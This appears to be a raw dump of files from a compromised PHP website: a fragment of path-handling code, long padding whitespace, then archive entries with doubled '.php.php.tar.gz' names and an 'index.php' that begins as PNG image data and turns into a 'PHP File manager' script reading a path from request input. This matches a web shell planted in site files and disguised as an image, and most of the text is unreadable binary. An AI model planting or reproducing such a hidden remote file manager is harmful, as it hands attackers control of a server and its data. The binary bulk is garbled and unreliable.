			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   PK     S])cJf  Jf    index.php.php.tar.gznu [              w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @ PK     S]k++R  R    widget-loader.php.php.tar.gznu [              Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
  PK     S]&79 9 	  index.phpnu [        ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
